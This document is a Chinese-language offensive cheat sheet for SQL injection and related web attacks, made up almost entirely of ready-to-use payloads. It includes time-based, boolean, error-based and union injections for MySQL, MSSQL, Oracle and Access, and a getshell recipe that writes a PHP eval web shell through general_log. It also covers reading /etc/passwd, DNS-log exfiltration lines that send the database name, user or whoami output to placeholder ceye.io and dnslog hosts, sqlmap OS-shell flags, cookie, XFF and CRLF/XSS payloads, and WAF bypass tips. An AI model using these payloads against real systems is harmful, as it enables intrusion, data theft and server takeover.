SQLI
开源项目
https://github.com/payloadbox/sql-injection-payload-list
mysql+mybaits
id; select 1 --
站库分离判断
MSSQL
select host_name(); --客户端主机名 select @@servername; --服务端主机名
数据库判断
ACCESS和SQLServer
[Host]?[par]=[Num] and (select count(*) from sysobjects)>0
[Host]?[par]=[Num] and (select count(*) from msysobjects)>0
.net站点
MSSQL System.Data.SqlClient
Oracle System.Data.OracleClient
MySql MySql.Data.MySqlClient
Mysql数据库
SQLI检测
" --双引号
$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
username=admin --admin账号在数据库中存在
password=1' and (sleep * from (select(sleep(5)))
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); //echo $row; if($row) { //echo '<font color= "#0000ff">'; $row1 = $row['username']; //echo 'Your Login name:'. $row1; $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; mysql_query($update); echo "<br>";
and sleep()/or sleep()
or 1=1/or 1=2
par=2 like 2/par=2 like 3
and version()
and ifxxx sleep
'
and 1=1 和 and 1=2
or 1 和 or 0
and if(1,1,0) 和 and if(0,1,0)
and if(null,0,true) 和 and if(nll,0,false)
and sleep(3)
and benchmark(10000000,encode('hello','mom'))
and if(1<2,sleep(3),sleep(1))
like 1=if(1>2,sleep(3),1) 和 like 1=if(1>2,sleep(3),2)
like 1=if(1>2,1,sleep(3)) --延迟注入 - 相当于 like 1=sleep(3) - 页面进入死循环
xor 0 和 xor null
xor if(1,0,1) 和 xor if(1,null,1)
between 1 and sleep(3) --延迟注入 - 页面进入死循环
between 1 and 1 和 between 1 and 2
and if(0.00000000000000001,1,0) 和 and if(0.0000000000000001,0,1)
and 1<>2 和 and 1<>1
and 1=if(1<>2,1,0) 和 and 1=if(1<>2,2,1)
xor 1<>1 和 xor 2<>null
and 1=ifnull(1,0) 和 and 1=ifnull(null,2)
and ifnull(sleep(3),0)
xor ifnull(null,null)
and nullif(sleep(3),sleep(3)) 和 and nullif(sleep(3),sleep(2)) 和 and nullif(sleep(2),0) --相应时间一次为6s,3s,2s
xor space(1) 和 xor space(1)=null
and space(1)=char(32) 和 and space(1)=2
div 1=1 和 div 1=2
div if(1,1,0) 和 div if(1,0,1)
having if(1,1,0) 和 having if(1,0,1)
mod 2=1 和 mod 2=2
mod 2 和 mod 1
mod if(1,2,0) 和 mod if(1,1,0)
like round(1.2) 和 like round(0)
and + case when + sleep
xor case when 1>0 then sleep(3) else sleep(1) end --页面进入死循环
and 'ccc'=0 和 and 'ccc'=1
xor 'ccc' 和 xor null
like elt(1,1) 和 like elt(2,1)
' and (select (load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\aaa')))#
admin' or 'a'='a | admin" | admin' | admin") or ("a")=("a 登录框
数据库长度判断
if(length(database())=num,sleep(4),0)
UNION SELECT
id=1 union select 1,2,database(),4,5,6,7,8,9,10,11,12 from {Table_name}
getshell
outfile 日志备份 set global general_log='ON';set global general_log_file='/var/www/html/web00/phpinfo.php';select '<?php @eval($_POST[1]);?>';
读取服务器信息
select load_file('/etc/passwd'); ssh密码信息
select load_file('/etc/udev/rules.d/70-persistent-net.rules'); 网卡信息
SQLServer
基于时间
WAITFOR DELAY
数据库用户首字母猜解
Par=[Num]-(asCii(RIGHT(user,1)))
Par=[Num]-(asCii(RIGHT(user,1)))
sqlmap
--is-dba 用户权限判断
--sql-shell 执行数据库命令
--os-shell 执行系统命令
注入技巧
https://xz.aliyun.com/t/8513
Oracle
布尔盲注
length(SYS_CONTEXT('USERENV','CURRENT_USER'))
dnslog
or utl_http.request('http://'||user||'.xxx.dnslog.cn') = 1
Access
表名猜解
and exists(select * from [FormName])
时间盲注-XFF-2020/4/17-Payload
X-Forward-For:'and(select 1 from (select(sleep(2)))x)#
报错注入-EXP-2020/410-Payload
%27,1,1,1,(select%20exp(~(select*from(select%20user())x))),1)%3B--%20-
时间盲注-Sleep-20204/11-Payload
select * from user where NAME =(select(1) from (select(sleep(25)))v);
sqlmap跑数据遇到 XSRF-TOKEN
使用 burp macros 绕过
SQL注入语句-登录框
select @@secure_file_priv; --查看是否可以导入导出,为NUll表示不允许,为空表示允许
load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a; --mysql3.x读取方法
select * from (select name_const(version(),1))a; --查看数据库版本
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; --利用数据库报错信息查看数据库版本
concat()
make_set()
lpad()
repeat()
reverse()
export_set()
sleep
注入判断
and sleep(4)
数据库用户名猜测
if(user()='root',sleep(4),sleep(1));
数据库名猜测
if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=113,sleep(1),sleep(4));
dnslog注入
获取计算机名 for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info 获取用户名 for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
Cookie注入
直接使用Request获取参数如:SID=Request("ID"),先取Get值,再取Post值,然后取Cookie值 http://www.xxx.com/1.asp?id=123 如果我们只输 http://www.xxx.com/1.asp 时,就不能看到正常的数据,因为没有参数! 我们想知道有没有Cookies问题(也就是有没有Request("XXX")格式问题), 先用IE输入 http://www.xxx.com/1.asp 加载网页,显示不正常(没有输参数的原因) 之后在IE输入框再输入 javascript:alert(document.cookie="id="+escape("123")); 按回车,你会看到弹出一个对话框 内容是: id=123 之后,你刷新一个网页,如果正常显示,表示是用 Request("ID") 这样的格式收集数据~~~~,这种格式就可以试Cookies注入 在输入框中输入 javascript:alert(document.cookie="id="+escape("123 and 3=3")); 刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了) javascript:alert(document.cookie="id="+escape("123 and 3=4"));刷新一下页面 如果不正常显示,这就表示有注入
CRLF
工具
https://github.com/MichaelStott/CRLF-Injection-Scanner
类型 (1)注入 -》 重定向攻击 (2)注入 -》 XSS攻击 POC | EXP (1)http://IP:Port%0d%0aSet-Cookie:crlf=true -> 查看 Response -》如果 Set-Cookie字段存在则漏洞存在 (2)/xx/landing?ref=xxx?t=%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%3cscript%3Ealert(9)%3c%2Fscript%3e
SSTI注入
sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shell
XFF注入
注入判断
X-Forwarded-for: 127.0.0.1 X-Forwarded-for: 127.0.0.1’ X-Forwarded-for: 127.0.0.1' and 1=1# X-Forwarded-for: 127.0.0.1' and 1=2#
异或注入
可用于判断过滤 http://xx.xx.86.145:90/index.php?id=1'^(length('union')=5)%23 当union被过滤时1^0 输出id=1 当union没被过滤时 1 ^ 1 输出 id=0 回显 error
Par格式问题 . SQLI检测
括号
(1)Par=([Num]) Par=([Str])
) and 1=1 和 ') and 1=1#
SQLI 安全设备绕过方法
大小写转换法 特殊字符构造法 编码绕过 拼凑法
靶场
https://github.com/Audi-1/sqli-labs 需要php版本低于php5.6
参考
union select 1,2,@@version https://hackerone.com/reports/1046084